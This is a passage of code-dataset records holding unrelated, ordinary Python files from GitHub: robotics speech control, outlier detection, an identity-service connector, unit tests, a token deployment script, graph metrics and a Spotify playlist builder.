serial.Serial(port='COM8')\r\nrecognizer = sr.Recognizer()\r\nmicrophone = sr.Microphone()\r\n\r\ntry:\r\n print(\"A moment of silence, please...\")\r\n\r\n with microphone as source:\r\n recognizer.adjust_for_ambient_noise(source)\r\n \r\n recognizer.energy_threshold += 20\r\n\r\n print(\"Set minimum energy threshold to {}\".format(recognizer.energy_threshold))\r\n\r\n while True:\r\n print(\"Say something!\")\r\n\r\n with microphone as source:\r\n audio = recognizer.listen(source, phrase_time_limit=3)\r\n print(\"Got it! Now to recognize it...\")\r\n \r\n try:\r\n # recognize speech using Google Speech Recognition\r\n value = recognizer.recognize_google(audio)\r\n print(\"You said {}\".format(value))\r\n # write value to arduino\r\n arduino.write(bytes(value, 'utf-8'))\r\n while True:\r\n success, img = cap.read()\r\n img = detector.findHands(img)\r\n lmlist = detector.findPosition(img)\r\n if len(lmlist) != 0:\r\n while len(lmlist) != 0:\r\n if lmlist[4][1] > 375:\r\n print('right')\r\n arduino.write(bytes(\"right\", 'utf-8'))\r\n elif lmlist[4][1] < 325:\r\n print('left')\r\n arduino.write(bytes(\"left\", 'utf-8'))\r\n time.sleep(1)\r\n success, img = cap.read()\r\n img = detector.findHands(img)\r\n lmlist = detector.findPosition(img)\r\n break\r\n except sr.UnknownValueError:\r\n print(\"Oops! Didn't catch that\")\r\n except sr.RequestError as e:\r\n print(\"Uh oh! Couldn't request results from Google Speech Recognition service; {0}\".format(e))\r\nexcept KeyboardInterrupt:\r\n pass\r\n","repo_name":"pshinde612/Robotech22","sub_path":"speech_with_hands.py","file_name":"speech_with_hands.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73823605051","text":"import numpy as np\r\nimport pandas as pd\r\nfrom sklearn.covariance import EllipticEnvelope\r\nfrom sklearn.ensemble import IsolationForest\r\nfrom sklearn.cluster import DBSCAN\r\nfrom sklearn.preprocessing import MinMaxScaler\r\n\r\n_z_score_thresh = 3.5\r\n\r\ndef z_score(series, thresh=_z_score_thresh):\r\n\tz_score = (series-np.mean(series))/np.std(series)\r\n\treturn np.abs(z_score)>thresh\r\n\r\ndef modified_z_score(series, thresh=_z_score_thresh):\r\n\tmod_z_score = 0.6745*(series-np.median(series))/series.mad()\r\n\treturn np.abs(mod_z_score)>thresh\r\n\r\ndef elliptic_envelope(series, contamination=0.1):\r\n\tclf = EllipticEnvelope(contamination=contamination, random_state=0)\r\n\tseries = series.values.reshape(-1, 1)\r\n\tclf.fit(series)\r\n\treturn clf.predict(series)\r\n\r\ndef isolation_forest(series, contamination=0.1):\r\n\tclf = IsolationForest(contamination=contamination, random_state=0)\r\n\tseries = series.values.reshape(-1, 1)\r\n\tclf.fit(series)\r\n\treturn clf.predict(series)\r\n\r\ndef isolation_forest_new(series):\r\n\tclf = IsolationForest(behaviour='new', contamination='auto', random_state=0)\r\n\tseries = series.values.reshape(-1, 1)\r\n\tclf.fit(series)\r\n\treturn clf.predict(series)\r\n\r\ndef dbscan(series):\r\n\tseries = series.values.reshape(-1, 1)\r\n\tscaler = MinMaxScaler()\r\n\tseries = scaler.fit_transform(series)\r\n\tclf = DBSCAN(algorithm='kd_tree', random_state=0)\t\t# default leaf_size reduced from 30 to 5 for complexity reasons\r\n\treturn clf.fit_predict(series)\r\n\r\ndef get_proportion(series, inf, sup):\r\n\treturn len(series[(series>inf) & (series None:\n \"\"\"\n Initialize dialogues.\n\n :return: None\n \"\"\"\n\n def role_from_first_message( # pylint: disable=unused-argument\n message: Message, receiver_address: Address\n ) -> Dialogue.Role:\n \"\"\"Infer the role of the agent from an incoming/outgoing first message\n\n :param message: an incoming/outgoing first message\n :param receiver_address: the address of the receiving agent\n :return: The role of the agent\n \"\"\"\n # The yoti connection maintains the dialogue on behalf of the yoti server\n return YotiDialogue.Role.YOTI_SERVER\n\n BaseYotiDialogues.__init__(\n self,\n self_address=str(CONNECTION_ID),\n role_from_first_message=role_from_first_message,\n **kwargs,\n )\n\n\nclass YotiRequestDispatcher(ABC):\n \"\"\"Class for a request dispatcher.\"\"\"\n\n def __init__(\n self,\n client: YotiClient,\n logger: Logger,\n connection_state: AsyncState,\n loop: Optional[asyncio.AbstractEventLoop] = None,\n executor: Optional[Executor] = None,\n ):\n \"\"\"\n Initialize the request dispatcher.\n\n :param loop: the asyncio loop.\n :param executor: an executor.\n \"\"\"\n self.connection_state = connection_state\n self.loop = loop if loop is not None else asyncio.get_event_loop()\n self.executor = executor\n self.logger = logger\n self.client = client\n self.dialogues = YotiDialogues()\n\n async def run_async(\n self, func: Callable[[Any], Task], message: YotiMessage, dialogue: YotiDialogue,\n ):\n \"\"\"\n Run a function in executor.\n\n :param func: the function to execute.\n :param args: the arguments to pass to the function.\n :return: the return value of the function.\n \"\"\"\n try:\n response = await self.loop.run_in_executor(\n self.executor, func, message, dialogue\n )\n return response\n except Exception as e: # pylint: disable=broad-except\n return self.get_error_message(e, message, dialogue)\n\n def dispatch(self, envelope: Envelope) -> Task:\n \"\"\"\n Dispatch the request to the right sender handler.\n\n :param envelope: the envelope.\n :return: an awaitable.\n \"\"\"\n if not isinstance(envelope.message, Message): # pragma: nocover\n raise ValueError(\"Yoti connection expects non-serialized messages.\")\n message = cast(YotiMessage, envelope.message)\n dialogue = cast(Optional[YotiDialogue], self.dialogues.update(message))\n if dialogue is None:\n raise ValueError( # pragma: nocover\n \"No dialogue created. Message={} not valid.\".format(message)\n )\n performative = message.performative\n handler = self.get_handler(performative.value)\n return self.loop.create_task(self.run_async(handler, message, dialogue))\n\n def get_handler(self, performative: str) -> Callable[[Any], Task]:\n \"\"\"\n Get the handler method, given the message performative.\n\n :param performative_name: the message performative.\n :return: the method that will send the request.\n \"\"\"\n handler = getattr(self, performative, None)\n if handler is None:\n raise Exception(\"Performative not recognized.\")\n return handler\n\n def get_profile(self, message: YotiMessage, dialogue: YotiDialogue) -> YotiMessage:\n \"\"\"\n Send the request 'get_request'.\n\n :param message: the Yoti message\n :param dialogue: the Yoti dialogue\n :return: None\n \"\"\"\n activity_details = self.client.get_activity_details(message.token)\n if activity_details is None:\n response = self.get_error_message(\n ValueError(\"No activity_details returned\"), message, dialogue\n )\n return response\n try:\n remember_me_id = activity_details.user_id\n profile = activity_details.profile\n if message.dotted_path == \"\":\n attributes = {\n key: value.value\n if isinstance(value.value, str)\n else json.dumps(value.value)\n for key, value in profile.attributes.items()\n }\n result = {\"remember_me_id\": remember_me_id, **attributes}\n else:\n callable_ = rgetattr(profile, message.dotted_path, *message.args)\n if len(message.args) != 0:\n intermediate = callable_(*message.args)\n else:\n intermediate = callable_\n result = {\n \"remember_me_id\": remember_me_id,\n \"name\": intermediate.name,\n \"value\": intermediate.value,\n \"sources\": \",\".join(\n [source.value for source in intermediate.sources]\n ),\n \"verifiers\": \",\".join(\n [verifier.value for verifier in intermediate.verifiers]\n ),\n }\n response = cast(\n YotiMessage,\n dialogue.reply(\n performative=YotiMessage.Performative.PROFILE,\n target_message=message,\n info=result,\n ),\n )\n except Exception as e: # pylint: disable=broad-except\n response = self.get_error_message(e, message, dialogue)\n return response\n\n @staticmethod\n def get_error_message(\n e: Exception, message: YotiMessage, dialogue: YotiDialogue,\n ) -> YotiMessage:\n \"\"\"\n Build an error message.\n\n :param e: the exception\n :param message: the received message.\n :param dialogue: the dialogue.\n :return: an error message response.\n \"\"\"\n response = cast(\n YotiMessage,\n dialogue.reply(\n performative=YotiMessage.Performative.ERROR,\n target_message=message,\n error_code=500,\n error_msg=str(e),\n ),\n )\n return response\n\n\nclass YotiConnection(Connection):\n \"\"\"Proxy to the functionality of the SDK or API.\"\"\"\n\n connection_id = PublicId.from_str(\"fetchai/yoti:0.1.0\")\n\n def __init__(self, **kwargs):\n \"\"\"\n Initialize a connection to an SDK or API.\n\n :param configuration: the connection configuration.\n :param crypto_store: object to access the connection crypto objects.\n :param identity: the identity object.\n \"\"\"\n super().__init__(**kwargs) # pragma: no cover\n yoti_client_sdk_id = cast(\n Optional[str], self.configuration.config.get(\"yoti_client_sdk_id\")\n )\n yoti_key_file_path = cast(\n Optional[str], self.configuration.config.get(\"yoti_key_file_path\")\n )\n if yoti_client_sdk_id is None or yoti_key_file_path is None:\n raise ValueError(\"Missing configuration.\")\n self._client = YotiClient(yoti_client_sdk_id, yoti_key_file_path)\n self._dispatcher: Optional[YotiRequestDispatcher] = None\n self._event_new_receiving_task: Optional[asyncio.Event] = None\n\n self.receiving_tasks: List[asyncio.Future] = []\n self.task_to_request: Dict[asyncio.Future, Envelope] = {}\n self.done_tasks: Deque[asyncio.Future] = deque()\n\n @property\n def event_new_receiving_task(self) -> asyncio.Event:\n \"\"\"Get the event to notify the 'receive' method of new receiving tasks.\"\"\"\n if self._event_new_receiving_task is None:\n raise ValueError(\"Call connect first!\")\n return self._event_new_receiving_task\n\n async def connect(self) -> None:\n \"\"\"\n Set up the connection.\n\n In the implementation, remember to update 'connection_status' accordingly.\n \"\"\"\n if self.is_connected: # pragma: nocover\n return\n self._state.set(ConnectionStates.connecting)\n self._dispatcher = YotiRequestDispatcher(\n self._client, self.logger, self._state, loop=self.loop,\n )\n self._event_new_receiving_task = asyncio.Event(loop=self.loop)\n self._state.set(ConnectionStates.connected)\n\n async def disconnect(self) -> None:\n \"\"\"\n Tear down the connection.\n\n In the implementation, remember to update 'connection_status' accordingly.\n \"\"\"\n if self.is_disconnected: # pragma: nocover\n return\n\n self._state.set(ConnectionStates.disconnecting)\n\n for task in self.receiving_tasks:\n if not task.cancelled(): # pragma: nocover\n task.cancel()\n self._dispatcher = None\n self._event_new_receiving_task = None\n\n self._state.set(ConnectionStates.disconnected)\n\n async def send(self, envelope: \"Envelope\") -> None:\n \"\"\"\n Send an envelope.\n\n :param envelope: the envelope to send.\n :return: None\n \"\"\"\n task = self._schedule_request(envelope)\n self.receiving_tasks.append(task)\n self.task_to_request[task] = envelope\n self.event_new_receiving_task.set()\n\n async def receive(self, *args, **kwargs) -> Optional[\"Envelope\"]:\n \"\"\"\n Receive an envelope. Blocking.\n\n :return: the envelope received, or None.\n \"\"\"\n # if there are done tasks, return the result\n if len(self.done_tasks) > 0: # pragma: nocover\n done_task = self.done_tasks.pop()\n return self._handle_done_task(done_task)\n\n if len(self.receiving_tasks) == 0:\n self.event_new_receiving_task.clear()\n await self.event_new_receiving_task.wait()\n\n # wait for completion of at least one receiving task\n done, _ = await asyncio.wait(\n self.receiving_tasks, return_when=asyncio.FIRST_COMPLETED\n )\n\n # pick one done task\n done_task = done.pop()\n\n # update done tasks\n self.done_tasks.extend([*done])\n\n return self._handle_done_task(done_task)\n\n def _schedule_request(self, envelope: Envelope) -> Task:\n \"\"\"\n Schedule a ledger API request.\n\n :param envelope: the message.\n :return: None\n \"\"\"\n if self._dispatcher is None: # pragma: nocover\n raise ValueError(\"No dispatcher set.\")\n task = self._dispatcher.dispatch(envelope)\n return task\n\n def _handle_done_task(self, task: asyncio.Future) -> Optional[Envelope]:\n \"\"\"\n Process a done receiving task.\n\n :param task: the done task.\n :return: the reponse envelope.\n \"\"\"\n request = self.task_to_request.pop(task)\n self.receiving_tasks.remove(task)\n response_message: Optional[Message] = task.result()\n\n response_envelope = None\n if response_message is not None:\n response_envelope = Envelope(\n to=request.sender,\n sender=request.to,\n protocol_id=response_message.protocol_id,\n message=response_message,\n context=request.context,\n )\n return response_envelope\n","repo_name":"fetchai/agents-yoti","sub_path":"packages/fetchai/connections/yoti/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":12604,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"29965905273","text":"import tempfile\nfrom fabric.api import env\nfrom fabric.api import local\nfrom fabric.context_managers import lcd\n\nfrom umd.api import fail\nfrom umd.api import info\nfrom umd.base import utils as butils\nfrom umd import exception\n\n\nclass YaimConfig(object):\n def __init__(self,\n nodetype,\n siteinfo,\n config_path,\n pre_config,\n post_config):\n self.nodetype = nodetype\n self.siteinfo = siteinfo\n self.config_path = config_path\n self.pre_config = pre_config\n self.post_config = post_config\n\n def run(self, qc_step):\n self.pre_config()\n\n self.nodetype = butils.to_list(self.nodetype)\n self.siteinfo = butils.to_list(self.siteinfo)\n\n if not self.nodetype or not self.siteinfo:\n raise exception.ConfigException((\"Could not run YAIM: Bad \"\n \"nodetype or site-info.\"))\n\n with tempfile.NamedTemporaryFile(\"w+t\",\n dir=self.config_path,\n delete=True) as f:\n for si in self.siteinfo:\n f.write(\"source %s\\n\" % si)\n f.flush()\n\n info((\"Creating temporary file '%s' with \"\n \"content: %s\" % (f.name, f.readlines())))\n\n # NOTE(orviz) Cannot use 'capture=True': execution gets\n # stalled (defunct)\n with lcd(self.config_path):\n abort_exception_default = env.abort_exception\n env.abort_exception = exception.ConfigException\n try:\n local(\"/opt/glite/yaim/bin/yaim -c -s %s -n %s\"\n % (f.name, \" -n \".join(self.nodetype)))\n except exception.ConfigException:\n fail((\"YAIM execution failed. Check the logs at \"\n \"'/opt/glite/yaim/log/yaimlog'.\"))\n info(\"YAIM configuration ran successfully.\")\n env.abort_exception = abort_exception_default\n\n self.post_config()\n","repo_name":"orviz/umd-verification","sub_path":"umd/base/configure/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1210372861","text":"import unicodecsv as csv\nimport matplotlib.pyplot as plt\n\ndef getBarChartData():\n f_artists = open('artists.csv')\n f_albums = open('albums.csv')\n# This opens the csv files\n\n artists_rows = csv.reader(f_artists)\n albums_rows = csv.reader(f_albums)\n# these lines equate artist_rows and album_rows with\n# the opened csv files. where the artists csv is now represented \n#by artists_rows and albums csv by albums_rows\n artists_header = artists_rows.next()\n albums_header = albums_rows.next()\n\n artist_names = []\n#creates an empty list called artist_names\n \n decades = range(1900,2020, 10)\n decade_dict = {}\n for decade in decades:\n decade_dict[decade] = 0\n #creates a dictionary for the decades of the release dates \n for artist_row in artists_rows:\n if not artist_row:\n continue\n #if there is a blank space in the file continue on \n artist_id,name,followers, popularity = artist_row\n artist_names.append(name)\n\n for album_row in albums_rows:\n if not album_row:\n #if blank continue on\n continue\n artist_id, album_id, album_name, year, popularity = album_row\n for decade in decades:\n if (int(year) >= int(decade)) and (int(year) < (int(decade) + 10)):\n decade_dict[decade] += 1\n #adds a key (decade) to the decades code. Assigns the album years into decades.\n break\n\n x_values = decades\n y_values = [decade_dict[d] for d in decades]\n #labels the x and y axis\n return x_values, y_values, artist_names\n\ndef plotBarChart():\n x_vals, y_vals, artist_names = getBarChartData()\n # calls the previous function\n \n fig , ax = plt.subplots(1,1)\n ax.bar(x_vals, y_vals, width=10)\n ax.set_xlabel('decades')\n ax.set_ylabel('number of albums')\n ax.set_title('Totals for ' + ', '.join(artist_names))\n plt.show()\n\n\n \n","repo_name":"computingForSocialScience/cfss-homework-katemcdonnell","sub_path":"Assignment5/barChart.py","file_name":"barChart.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"413194052","text":"import json\nimport os\nfrom unittest import TestCase\nfrom eve import Eve\nfrom pymongo import MongoClient\nfrom eve_resthooks.eveapp import EveRestHooks\nfrom eve_resthooks.tests.testsettings import *\nfrom urllib.parse import urljoin\n\n\nclass TestBaseMinimal(TestCase):\n def setUp(self):\n settings_path = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), 'testsettings.py')\n\n self.headers = {'Content-Type': 'application/json'}\n\n self.setupDB()\n\n self.apiapp = Eve(settings=settings_path)\n self.everh = EveRestHooks(self.apiapp)\n\n self.local_client = self.apiapp.test_client()\n\n def setupDB(self):\n self.connection = MongoClient(MONGO_HOST, MONGO_PORT)\n self.connection.drop_database(MONGO_DBNAME)\n if MONGO_USERNAME:\n self.connection[MONGO_DBNAME].add_user(MONGO_USERNAME,\n MONGO_PASSWORD)\n\n def bulk_insert(self):\n pass\n\n def dropDB(self):\n self.connection = MongoClient(MONGO_HOST, MONGO_PORT)\n self.connection.drop_database(MONGO_DBNAME)\n self.connection.close()\n\n\nclass TestMethodsBase(TestBaseMinimal):\n def setUp(self):\n self.book_name = \"Testsuite Made up Names by Tim King\"\n\n self.event_created = \"books.created\"\n self.event_replaced = \"books.replaced\"\n self.event_updated = \"books.updated\"\n self.event_deleted = \"books.deleted\"\n\n self.target_url = \"http://localhost:6000/dummy\"\n\n super().setUp()\n\n def tearDown(self):\n super().tearDown()\n\n def _build_url(self, resource, item):\n base = self.apiapp.api_prefix\n\n if item:\n return \"{0}/{1}/{2}\".format(base, resource, item)\n else:\n return \"{0}/{1}\".format(base, resource)\n\n def _setup_change_operation(self, etag, item, payload, resource):\n url = self._build_url(resource, item)\n headers = {\n \"If-Match\": etag\n }\n headers.update(self.headers)\n payload = json.dumps(payload)\n return headers, payload, url\n\n def _post(self, resource, payload, headers=None, item=None):\n\n if headers:\n self.headers.update(headers)\n\n url = self._build_url(resource, item)\n\n payload = json.dumps(payload)\n return self.local_client.post(url, data=payload, headers=self.headers)\n\n def _get(self, resource, item=None, headers=None):\n\n url = self._build_url(resource, item)\n\n return self.local_client.get(url, headers=None)\n\n def _patch(self, resource, payload, etag, item=None):\n headers, payload, url = self._setup_change_operation(etag, item, payload, resource)\n\n return self.local_client.patch(url, data=payload, headers=headers)\n\n def _put(self, resource, payload, etag, item=None):\n headers, payload, url = self._setup_change_operation(etag, item, payload, resource)\n\n return self.local_client.put(url, data=payload, headers=headers)\n\n def _delete(self, resource, etag, item):\n payload = {}\n headers, _, url = self._setup_change_operation(etag, item, payload, resource)\n\n return self.local_client.delete(url, headers=headers)\n\n def _parse_get_items(self, response):\n return json.loads(response.data.decode('utf8'))['_items']\n\n def get_jobs(self):\n response = self._get('_jobs')\n\n return self._parse_get_items(response)\n\n def get_subscriptions(self):\n response = self._get('subscriptions')\n\n return self._parse_get_items(response)\n\n def post_dummy_book(self, name=None):\n name = name if name is not None else self.book_name\n payload = dict(\n name=name,\n )\n\n return self._post(\"books\", payload)\n\n def post_dummy_book_created_subscription(self):\n payload = dict(\n event=\"books.created\",\n target_url=\"http://localhost:6000/dummy\",\n )\n return self._post(\"subscriptions\", payload)\n","repo_name":"kingtimm/Eve-Resthooks","sub_path":"eve_resthooks/tests/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"21923585439","text":"import unittest\n\n\nfrom xapian import Document, Stem, TermGenerator\n\n\nclass TestTermGenerator(unittest.TestCase):\n def test_description(self):\n self.assertEqual(TermGenerator().description,\n 'Xapian::TermGenerator(stem=Xapian::Stem(none), '\n 'doc=Document(Xapian::Document::Internal()), '\n 'termpos=0)')\n\n def test_empty_str(self):\n self.assertEqual(str(TermGenerator()),\n 'Xapian::TermGenerator(stem=Xapian::Stem(none), '\n 'doc=Document(Xapian::Document::Internal()), '\n 'termpos=0)')\n\n def test_set_stemmer(self):\n tg = TermGenerator()\n tg.set_stemmer(Stem('en'))\n self.assertEqual(tg.description,\n 'Xapian::TermGenerator(stem=Xapian::Stem(english), '\n 'doc=Document(Xapian::Document::Internal()), '\n 'termpos=0)')\n\n def test_set_document(self):\n tg = TermGenerator()\n doc = Document()\n tg.document = doc\n self.assertEqual(tg.description,\n 'Xapian::TermGenerator(stem=Xapian::Stem(none), '\n 'doc=Document(Xapian::Document::Internal()), '\n 'termpos=0)')\n\n def test_get_set_data(self):\n doc = Document()\n doc.data = b'xyz123'\n self.assertEqual(doc.data, b'xyz123')\n self.assertNotEqual(doc.data, 'xyz123')\n with self.assertRaises(TypeError):\n doc.data = 'not bytes'\n\n def test_get_document(self):\n # Since documents can't be compared, we'll set some data on the stored\n # document and ensure that data exists on the retrieved one.\n tg = TermGenerator()\n doc = Document()\n doc.data = b'document'\n tg.document = doc\n self.assertEqual(tg.document.data, b'document')\n\n def test_termpos(self):\n tg = TermGenerator()\n self.assertEqual(tg.termpos, 0)\n tg.termpos = 400\n self.assertEqual(tg.termpos, 400)\n tg.increase_termpos(100)\n self.assertEqual(tg.termpos, 500)\n\n def test_index(self):\n tg = TermGenerator()\n tg.document = Document()\n self.assertEqual(tg.termpos, 0)\n tg.index_text('hello')\n self.assertEqual(tg.termpos, 1)\n self.assertEqual(tg.description,\n 'Xapian::TermGenerator('\n 'stem=Xapian::Stem(none), '\n 'doc=Document('\n # See? One term was added.\n 'Xapian::Document::Internal(terms[1])), '\n 'termpos=1)')\n tg.index_text(b'world')\n self.assertEqual(tg.termpos, 2)\n self.assertEqual(tg.description,\n 'Xapian::TermGenerator('\n 'stem=Xapian::Stem(none), '\n 'doc=Document('\n # See? A second term was added.\n 'Xapian::Document::Internal(terms[2])), '\n 'termpos=2)')\n\n def test_index_with_wdf_inc(self):\n # Give something other than the default for wdf_inc argument.\n tg = TermGenerator()\n tg.document = Document()\n # XXX AFAICT, there's no way to test the effects of increasing the\n # wdf_inc, i.e. the term weighting factor. This is *not* the same as\n # the termcount.\n self.assertEqual(tg.termpos, 0)\n tg.index_text('hello', 10)\n self.assertEqual(tg.termpos, 1)\n\n def test_index_with_prefix(self):\n tg = TermGenerator()\n tg.document = Document()\n self.assertEqual(tg.termpos, 0)\n tg.index_text('hello', prefix='AA')\n self.assertEqual(tg.termpos, 1)\n self.assertEqual(tg.description,\n 'Xapian::TermGenerator('\n 'stem=Xapian::Stem(none), '\n 'doc=Document('\n # See? One term was added.\n 'Xapian::Document::Internal(terms[1])), '\n 'termpos=1)')\n tg.index_text('hello', prefix=b'BB')\n self.assertEqual(tg.termpos, 2)\n self.assertEqual(tg.description,\n 'Xapian::TermGenerator('\n 'stem=Xapian::Stem(none), '\n 'doc=Document('\n # See? A second term was added.\n 'Xapian::Document::Internal(terms[2])), '\n 'termpos=2)')\n\n def test_index_with_wdf_inc_and_prefix(self):\n tg = TermGenerator()\n tg.document = Document()\n self.assertEqual(tg.termpos, 0)\n tg.index_text('hello', 10, 'AA')\n self.assertEqual(tg.termpos, 1)\n tg.index_text('hello', 20, prefix=b'BB')\n self.assertEqual(tg.termpos, 2)\n","repo_name":"warsaw/xapian","sub_path":"xapian-bindings/python3/tests/test_termgen.py","file_name":"test_termgen.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18939374689","text":"#!/usr/bin/env python3\n\nfrom brownie import web3, network, accounts, FetERC20Mock as Contract\nfrom .deployment_common import (\n get_owner_account,\n get_deployment_manifest_path,\n load_network_manifest,\n save_network_manifest,\n publish_contract_if_required,\n )\nfrom .deployment_manifest_schema import (\n NetworkManifest,\n\n )\nfrom eth_account.account import (\n Account,\n )\nimport json\n\n\ndef deploy(network_manifest: NetworkManifest, owner: Account) -> network.contract.ProjectContract:\n contract_manif = network_manifest.FetERC20Mock\n\n constructor_params = contract_manif.constructor_parameters\n contract = Contract.deploy(\n constructor_params.name\n , constructor_params.symbol\n , constructor_params.initialSupply\n , constructor_params.decimals_\n , {'from': owner})\n # , {'from': owner, 'gas_price': '20 gwei'})\n\n contract_manif.contract_address = contract.address\n contract_manif.deployer_address = owner.address\n if hasattr(owner, 'public_key'):\n contract_manif.deployer_public_key = owner.public_key.to_hex()\n else:\n contract_manif.deployer_public_key = \"\"\n # contract_manif.pop(\"deployer_public_key\", None)\n\n return contract\n\n\ndef main():\n owner = get_owner_account()\n deployment_manifest_path = get_deployment_manifest_path()\n manifest, network_manif = load_network_manifest(deployment_manifest_path)\n print(f'network manifest: {network_manif}')\n\n contract = deploy(network_manif, owner)\n save_network_manifest(deployment_manifest_path, manifest, network_manif)\n\n publish_contract_if_required(contract_container=Contract,\n contract=contract,\n contract_manifest=network_manif.Bridge,\n throw_exception=False)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"fetchai/fetch-ethereum-bridge-v1","sub_path":"ethereum/scripts/deploy_erc20mock.py","file_name":"deploy_erc20mock.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"39778726746","text":"import networkx as nx\nimport numpy as np\n\n\nclass Model:\n \"\"\"\n Groups several functions (degree_distribution, clustering_coefficient_mean\n and average_path_length) to be used with several models.\n \"\"\"\n\n def __init__(self, graphs):\n self.graphs = graphs\n\n def average_degree(self):\n \"\"\"\n :return: average_degree\n \"\"\"\n average_degrees = 0\n for graph in self.graphs:\n nodes, links = graph.order(), graph.size()\n average_degrees += float(links) / nodes\n\n return 2 * float(average_degrees) / len(self.graphs)\n\n def degree_distribution(self):\n \"\"\"\n :return: degree_distribution\n \"\"\"\n\n final_degree_count = np.zeros([0])\n\n for graph in self.graphs:\n\n degree_count = np.asarray(nx.degree_histogram(graph))\n\n final_degree_count_length = len(final_degree_count)\n degree_count_length = len(degree_count)\n\n length_differential = final_degree_count_length - degree_count_length\n\n if length_differential > 0:\n degree_count = np.append(degree_count, np.zeros([abs(length_differential)]))\n elif length_differential < 0:\n final_degree_count = np.append(final_degree_count, np.zeros([abs(length_differential)]))\n\n final_degree_count = np.add(final_degree_count, degree_count)\n\n final_degree_count = final_degree_count / float(len(self.graphs))\n\n probabilities_final_degree_count = final_degree_count / sum(final_degree_count)\n\n return probabilities_final_degree_count\n\n def clustering_coefficient_mean(self):\n \"\"\"\n :return: clustering_coefficient_mean\n \"\"\"\n averages = 0\n for graph in self.graphs:\n clustering_of_all_nodes = nx.clustering(graph)\n averages += sum(clustering_of_all_nodes.values()) / nx.number_of_nodes(graph)\n\n return float(averages) / len(self.graphs)\n\n def average_path_length(self):\n \"\"\"\n :return: average_shortest_path_length\n \"\"\"\n average_path_length = 0\n for graph in self.graphs:\n average_path_length += nx.average_shortest_path_length(graph)\n\n return float(average_path_length) / len(self.graphs)\n","repo_name":"pedrorio/complex_network_science","sub_path":"first_project/models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12113446020","text":"# -*- coding: utf-8 -*-\n\nimport pytest\n\nfrom spectrochempy.utils import (\n get_user,\n get_user_and_node,\n get_node,\n is_kernel,\n sh,\n is_windows,\n)\n\n\ndef test_get_user():\n res = get_user()\n assert res is not None\n\n\ndef test_get_node():\n res = get_node()\n assert res is not None\n\n\ndef test_get_user_and_node():\n res = get_user_and_node()\n assert res is not None\n\n\ndef test_is_kernel():\n res = is_kernel()\n assert not res\n\n\n# @pytest.mark.skip(\"problem with one of the commit - look at this later\")\n@pytest.mark.skipif(\n is_windows(), reason=\"Fail under Windows OS due to one of the commits\"\n)\ndef test_sh():\n res = sh.git(\"show\", \"HEAD\")\n assert res is not None\n","repo_name":"smertouh/quadera","sub_path":"tests/test_utils/test_system.py","file_name":"test_system.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37440565365","text":"#group of statements\n#built in functions - built, input, min\n#user defined function\n\ndef sum(arg1, arg2):\n print(arg1 + arg2)\n \nsum(15, 8) \nsum('Hello ','world') \nsum(87.9, 78.9) \n\ndef sum(arg1, arg2):\n if type(arg1) != type(arg2):\n print(\"Please give the args of same type\")\n return\n return(arg1 + arg2)\n \na = sum(15, 8) \nprint(a)\nprint(sum('Hello ','world')) \nprint(sum(87.9, 78.9) )\nprint(sum('Hello', 7))\n","repo_name":"swathisri66/Python-script","sub_path":"programming/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72082471612","text":"import re\nimport csv\nimport spotipy\nfrom spotipy.oauth2 import SpotifyOAuth\nfrom utils import get_config, Logger\nfrom tqdm import tqdm # Import tqdm for the progress bar\nimport os\n\nclass Spotify:\n def __init__(self, config_location):\n self.sp = spotipy.Spotify(auth_manager=SpotifyOAuth(client_id=get_config(config_location)[\"client_id\"],\n client_secret=get_config(config_location)[\"client_secret\"],\n redirect_uri='http://localhost:8080/callback',\n scope='playlist-modify-private playlist-modify-public'))\n \n def search_track(self, artist, song):\n query = f'artist:{artist} track:{song}'\n results = self.sp.search(q=query, limit=1)\n if results['tracks']['items']:\n return results['tracks']['items'][0]['uri']\n else:\n return None\n \n def create_playlist(self, name):\n user_id = self.sp.me()['id']\n playlist = self.sp.user_playlist_create(user=user_id, name=name, public=False)\n return playlist['id']\n \n def add_track_to_playlist(self, playlist_id, track_uri):\n self.sp.playlist_add_items(playlist_id, [track_uri])\n\n# Define the expression used for the search\ndef find(text, PRINT=True):\n if text == \" \" or None or len(text) == 0:\n return False\n if isinstance(text, list):\n text = text[0]\n result = text.split(\"–\")\n song = result[1][1:]\n artist = result[0].split(\" \")[1] + \" \" + result[0].split(\" \")[2]\n if PRINT: print(f\"Artist: {artist}, Song: {song}\")\n return song, artist\n\n\n# Open the source.txt file for reading\ndef read(source='source.csv'):\n with open(source, 'r', encoding=\"utf8\") as file:\n reader = csv.reader(file)\n result = list()\n for text in reader:\n value = find(text)\n if isinstance(value, bool):\n pass\n else:\n result.append(tuple(value))\n return result\n\n# Write the data back into a table\ndef write(result):\n with open('result.csv', 'w', encoding='utf8') as file:\n writer = csv.writer(file)\n for item in result:\n writer.writerow(item)\n\ndef push_to_spotify(data, PLAYLIST_NAME=\"Testing playlist\", CONFIG_FILE= \"config.json\", KEEP_ORDER=True):\n # Initialise the SpotiPy client using the Spotify class\n spotify = Spotify(CONFIG_FILE)\n\n # 